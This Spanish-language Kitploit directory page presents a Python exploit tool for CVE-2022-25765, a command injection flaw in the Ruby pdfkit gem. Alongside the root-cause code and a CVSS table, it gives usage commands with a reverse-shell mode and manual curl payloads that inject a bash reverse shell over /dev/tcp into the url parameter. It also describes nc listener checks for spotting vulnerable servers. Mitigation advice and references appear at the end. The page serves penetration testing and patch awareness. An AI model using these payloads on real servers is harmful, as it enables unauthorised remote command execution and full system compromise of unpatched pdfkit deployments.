Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-25765-exploit — Exploit en Python para CVE-2022-25765 inyección de comandos en pdfkit, permitiendo ejecución remota de código a través de URLs manipuladas con modos de shell inversa y comandos personalizados. | Kitploit
Herramientas/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Exploit en Python para CVE-2022-25765 inyección de comandos en pdfkit, permitiendo ejecución remota de código a través de URLs manipuladas con modos de shell inversa y comandos personalizados.

Ver Repositorio
2hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-25765 — Command Injection in pdfkit

Descripción

CVE-2022-25765 es una vulnerabilidad de inyección de comandos (Command Injection) que afecta a pdfkit (Ruby gem) en versiones < 0.8.7.2. La vulnerabilidad tiene una severidad CRÍTICA con CVSS 9.8, ya que permite ejecución remota de comandos sin autenticación.

El problema radica en que pdfkit pasa el parámetro url directamente al shell sin sanitización. La librería ejecuta internamente wkhtmltopdf con un comando similar a:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Si la URL contiene %20 (espacio URL-encoded) seguido de backticks ` o $(), el shell interpreta el contenido como un comando y lo ejecuta.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Detalles Técnicos

CampoValor
CVECVE-2022-25765
Productopdfkit (Ruby gem)
Versiones afectadas0.0.0 – 0.8.7.2
TipoCommand Injection (CWE-78)
AutenticaciónNo requerida
CVSS 3.19.8 CRITICAL
Parchepdfkit ≥ 0.8.7.2

Root Cause

El código vulnerable en pdfkit (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

La URL se interpola directamente en el comando shell sin sanitización. Al incluir %20 (espacio), el contenido después del espacio se escapa del contexto del argumento de wkhtmltopdf y un \`` o $()` permite ejecutar comandos arbitrarios.


Exploit

Autor original

UNICORDev (@NicPWNs y @Dev-Yeoj)

El exploit original se encuentra en:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Requisitos

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Uso

root@kitploit:~
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Ayuda
python3 exploit-CVE-2022-25765.py -h

Parámetros

ParámetroDescripción
-cComando personalizado
-s <IP> <PORT>Reverse shell mode
-w <URL>URL del sitio web vulnerable (opcional)
-p <param>Parámetro POST (opcional, default: url)
-hAyuda

Ejemplos de payload manual

root@kitploit:~
# Inyección via curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Comando simple
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Identificación

Para identificar si un servidor es vulnerable:

  1. Enviar una URL controlada y observar el callback HTTP
  2. Revisar los metadatos del PDF generado: Creator: pdfkit v0.8.6
root@kitploit:~
# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs

# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)

Mitigación

  • Actualizar pdfkit a la versión ≥ 0.8.7.2
  • Si no es posible actualizar, sanitizar el parámetro url para eliminar caracteres peligrosos (\``, $(), %20`)
  • Implementar una lista blanca de URLs o usar una API de terceros para generación de PDFs

Referencias

  • NVD — CVE-2022-25765
  • CVE-2022-25765 en GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (original)
Descargar herramienta